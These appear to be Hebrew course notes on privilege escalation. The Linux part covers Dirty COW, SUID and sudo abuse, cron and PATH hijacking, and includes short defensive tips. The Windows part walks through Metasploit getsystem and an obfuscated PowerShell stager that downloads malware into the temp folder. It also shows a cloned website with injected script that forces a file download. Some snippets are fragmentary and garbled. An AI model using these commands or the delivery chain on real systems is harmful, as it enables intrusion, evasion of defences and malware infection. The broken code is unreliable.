5/5/2019

Bypassuse – GitHub

**Linux remote privilege escalation**

תחום ה remote privilege escalationהוא שם כולל לכלל המניפולציות אשר תוקף יריץ בפריצה מרחוק. לא ניתן להשתמש בLOCAL מאחר ובפריצה מרוחקת נימנע מאיתנו לבצע ריסטארט. לכן נפעיל מניפולציות בהתאם למערכת.  
במערכת הפעלה לינוקס ישנן כמות אדירה של מניפולציות. אנו נסכם 6 מתוכן:

1. **KERNEL EXPLOITS :** לעיתים יש באג במערכת ההפעלה עצמה המאפשר העלאת הרשאות או ביצוע פעולות בהרשאות גבוהות יותר.  
   בדרך כלל, התהליך שעובר PAYLOAD שכזה הוא כדלהלן:
2. הוא משתמש במניפולציה על הKERNEL כדי להריץ PAYLOAD. לאחר המניפולציה הוא יוצר תהליך חדש בהרשאות גבוהות ותהליך זה מריץ SHELL.   
   בכדי להשתמש בפגיעות KERNEL ישנו צורך בארבעת הדרישות הבאות:  
   1) KERNEL פגיע.  
   2) EXPLOIT מתאים לפגיעות.  
   3) יכולת להעביר את הEXPLOIT אל המכונה.  
   4) יכולת להריץ את הEXPLOIT.

**פקודות שימושיות:**1) **Whoami**  
2) **uname –a**  = מראה את הגרסא של הKERNEL.  
3)**Which**   
4) DIRTY\_./COW <שם יוזר חדש>

1. **DIRTY COW -** זהו EXPLOIT לגרסאות לינוקס הלך מגרסא 2.6.22 עד גרסא 3.9 . EXPLOIT זה ניצל מצב של Race condition בתהליך של Copy on write. מצב זה מאפשר לתוקף להוסיף יוזר בהרשאות גבוהות.
2. **איך מגנים?**  
   1) לעדכן את הkernel  
   2) למנוע גישה לתוכניות עזר (HARDING).
3. **ניצול שירותים הרצים כROOT -** ישנם שירותים רבים המכילים יכולת להריץ פקודות. במידה והשירות רץ כיוזר ROOT ניתן לנצל אותו כדי להעלות הרשאות.  
   **דרישות:**   
   א) שירות שרץ בהרשאות ROOT.  
   ב) לשירות יש יכולת להריץ פקודות  
   ג) גישה לשירות.  
     
   **פקודות שימושיות:** א) **NETSTAT –TAPN**-   
    ב) **Ps –aux | grep root** - מראה את השירותים הרצים  
    ג) **Mysql –u root –p** ד) **דרכי הגנה:** א) לא להריץ SERVICE בהרשאות ROOT.  
    ב) להגביל גישה לSERVICE.  
    ג) לעולם לא לתת הרשאות ROOT לSERVICES הבאים: Web, DataBase, Services
4. **Stickybit:** בלינוקס ישנו פיצ'ר הנקרא SB. פיצ'ר זה מאפשר למשתמש להריץ תוכנה בהרשאות של הOWNER.הסימן שלקובץ הרצה יש SB הוא האות "S"במקום האות "X".  
   **דרישות:**  
   1) פקודה שיכולה להריץ פקודות.  
   2) לפקודה מוגדר SB.  
   **פקודות שימושיות:**  
   1) find / -perm –u=s –type f 2>/dev/null. – מציאת כל מה שמכיל   
   2) find / -exec sh –i \; - פקודה
5. **Misconfiguration of SUDO:**   
   **פקודות שימושיות:**  
   1) **SUDO – L** - מציג איזה פקודות אתה יכול להריץ עם SUDO.  
   2) **adduser <name> sudo** - מוסיף משתמש לSUDO.  
   3) **gedit /etc/sudoers** – עריכת הרשאות הSUDOERS.  
    נוסיף תחת "User privi…" את השורות: root ALL=(ALL:ALL) ALL   
    <USERNAME> ALL=(ALL) NOPASSWD:/usr/bin/find,/usr/bin/python   
   **דרישות:**  
   1) ליוזר שלנו צריכה להיות גישה אל SUDO  
   2) יכיל פקודות שיכולות להריץ פקודות. **דוגמא לניצול של PYTHON פתוח:** sudo python –c 'import pty;pty.spawn("/bin/bash");'  
   פקודה זאת (python –c "<command>" = דגל המאפשר להריץ פקודות של פייתון דרך הCOMMEND.)  **איך מגינים:**1)לעולם לא נותנים הרשאות SUDO לשפת תכנות.  
   2) לעולם לא נותנים הרשאת SUDO לפקודות אשר יכולות להריץ פקודות אחרות. **פקודות אשר אסור לתת להן SUDO:** Find, Python, Vi, More, Less, Nmap, Gdb, Awk . **אתר על Privilege escalation :**<https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
6. **Cronetab:** זהו פיצ'ר בלינוקס שתפקידו לתזמן משימות.  
   **פקודות שימושיות:**1) **crontab –l** – יציג את המשימות המתוזמנות ליוזר הנוכחי.  
   2) **crontab –l –u <username> -** מה התזמון משימות ליוזר נבחר.  
   3) **ls /etc/cron.\* -** דרך יותר יעילה לראות את המשימות.

4) **ls –l /etc/cron.\***5) **find / -perm -2 –type f 2>/dev/null | grep cron**6) **chown root:root <file path>**7)  **chmod u+s <file>  
  
יצירת קובץ בשפת C :  
int main(void)  
 }**setgid(0);  
setuid(0);  
execl("/bin/bash", "sh", 0);  
 **{  
נכין ממנו קובץ הרצה:** gcc <fileName>.c –o <filename>  
 **דרישות:**1) משימה מתוזמנת בהרשאות ROOT.  
2) יכולת כתיבה אליהן.  
**הגנה:**אל תתנו הרשאות כתיבה לקבצים!!!  
**איך מגדירים Crontab (משימה מתוזמנת):** ניתן להשתמש בפקודה "crontab -e" על מנת להיכנס לקובץ ההגדרות של הCrontab.

1. **Bad path configuration:  
   פקודות שימושיות:**1) **echo $PATH -** מיקום הקובץ  
   2)**PATH=.:${PATH} -** כתיבה לא נכונה של ההגדרה.  
   3) **export PATH  
   FLOW:**א)במידה ומנהל המערכת הוסיף נקודה לPATH אפשר להריץ פקודות בשם הROOT  
   ב) היוזר יוצר קובץ בשם של פקודה קיימת (כגון – LS)  
   ג) היוזר קורא למנהל המערכת ואומר לו שהפקודה לא עובדת.  
   ד) מנהל המערכת מריץ את הפקודה שלנו ואנחנו ניצחנו.

7/5/2019

**Linux path manipulation:**

#!/bin/bash/

/bin/su –c "code; /bin/su $@"

/bin/sudo "code" ; /bin/sudo $@

Username=$USER

Echo $@ | grep @ &>/dev/null && username=$(echo ….)

\*המשך בוואטאפ\*

**Windows remote PE**

מספר הפעולות לביצוע במערכת WINDOWS על מנת להעלות הרשאות הוא יחסית מאוד מוגבל. הסיבה לכך היא שבכל הפצה של WINDOWS בהתאם לתנאים מסוימים תיהיה אפשרית פעולה אחת מתוך כמה אפשרויות.

1. ישנו מודול שלם בMETASPLOIT הניקרא "PRIVE" אשר מעלה את ההרשאות במידה ויש לנו Meterpreter על המכונה נשתמש בפקודות:  
   use prive & getsystem
2. ישנם 2 דברים שניתן לנצל כאשר מדברים על העלאת הרשאות בWINDOWS :  
    1) תוכניות של מיקרוסופט. כאשר יש בראג בתוכנית  
    2) לנצל תוכניות צד שלישי.

**מודל ההרשאות בוינדוס:** מיקרוסופט מבצעים כמות אדירה של פעולות על מנת להגן על מערכות וינדוס. מערכת וינודוס באה באופן דיפולטיבי עם הגנות ומערכות שמעדכנות את ההגנות על נמת להפוך את וינדוס למערכת סגורה "הרמטית".   
דוגמא למערכות ההגנה:  
1) UAC – user access control – מערכת הגנה שתפקידה להתריע למשתמש על כל ביצוע פעולה שקשורה באבטחה (כגון פתיחת קובץ, העלאת הרשאות, ריצה כיוזר שונה וכו) אשר על כל אחת מהן ידרוש בGUI לאשר את הפעולה.  
2) DAC - dynamic access control – פיצ'ר הגנתי שמוטמע החל מWINDOWS SERVER 12 ומטרתו היא להגדיר הרשאות אבטחה בגישה למשאבים באופן דימני.   
3) במערכת וינדוס מוגדר ACL -access list - הפיצ'ר הזה מגדיר הרשאות פר משתמש לקבצים, תהליכים, אירועים וכו.  
**בדיקת הרשאות:**   
1) **Accesschk** – כלי מבית sysinternals אשר באמצעותו ניתן לבדוק מהן ההרשאות לקבצים במערכת.  
נוריד את הכלי מהאינטרנט ונכתוב:  
 .\accesschk.exe everyone –uqws C:\\*.dll – מחפש בכל המערכת לאיזה קבצים לנו בתור היוזר יש גישה אליהם.  
2) **Service permissions** – כל שירות שרץ במערכת וינודס בתחילת השירות נבדק על ידי המערכת באיזה הרשאות הוא אמור לרוץ. כל הרצה מדביקה לו פרמטר אשר מייצג את ההרשאה.   
Service\_change\_config -   
Write\_dac -   
Write\_owner -  
לעיתים קרובות יש צורך בגישה ויזואלית מסויימת על מנת להעלות הרשאות.   
**דרך ידנית:** להריץ את הפקודה -   
reg add "HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\control\Terminal Server" /v fDenyTSConnections /t REG\_DWORD /d /f  
את פקודה זאת מריצים מSHELL מרוחק כדי לעלות מאדמיניסטרטור לסיסטם.

3)  
  
**דימוי מצב תקיפה אמיתי:**  
1) יצירת PowerShell script reverse\_tcp   
 דרישות: Power stager,   
2) יצירת script בPowerShell אשר מוריד את הווירוס שלנו.  
Notepad.exe נכניס פקודה שתוריד לנו קובץ מהאינטרנט. הפקודה הינה:  
(New-Object System.Net.WebClient).DownloadFile("my addres", "Path"($Env:Temp\FileName.exe))  
במכונת הלינוקס צריך לפתוח Python -m simpleHTTPServer  
בכדי להתגבר על הרצת קובץ POWERSHELL ניתן להשתמש בכלי בשם PowerShell2.exe . כדי להתגבר על זה נשתמש במודול Invoke obfuscation.  
מודול זה לוקח Script בPoweshell, עושה לו ערבול והצפנה ובכך מצפין אותו.  
לאחר הורדת המודול נריץ Powershell עם ExecutionPolicyBypass.  
שלב הבא – גישה לאותו מיקום אשר מכיל את המודול ונכתוב Import-Module ./Invoke obfuscation.psd1  
Invoke obfuscation  
set scriptpath <Path>  
encoding  
נכניס לקובץ טקסט את הפלט נשנה את הסיומת לps1 ונוריד את הכלי "powershell to exe"

הסקריפט:  
@echo off – מונעת מCMD להיפתח  
(New-Object System.Net.WebClient).DownloadFile("my addres", "$Env:Temp\malware name ")  
(New-Object System.Net.WebClient).DownloadFile("my addres", "$Env:Temp\ Source.cs ")  
(New-Object System.Net.WebClient).DownloadFile("my addres", "$Env:Temp\2.exe")  
  
בKALI- httrack <website address >  
נערוך את הקובץ Index.html של האתר (NANO)  
נעתיק אל תוך הקובץ את השורה:  
src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"  
פקודה זאת מוסיפה לאתר יכולות – במקרה שלנו יכולת הורדת קובץ.  
מתחת לBODY נכתוב את הפקודות:  
href=http://<my address/filename.txt> download>link<  
<script type=text/javascript">  
 $(document).ready(function () {$("filename").click()  
  
  
  
  
  
  
  
  
ש.ב:  
1) לבדוק איך מאפשרים ללינוקס להתחבר בRDP בעזרת הregistry  
2) לבדוק איך מכבים security notifications בregistry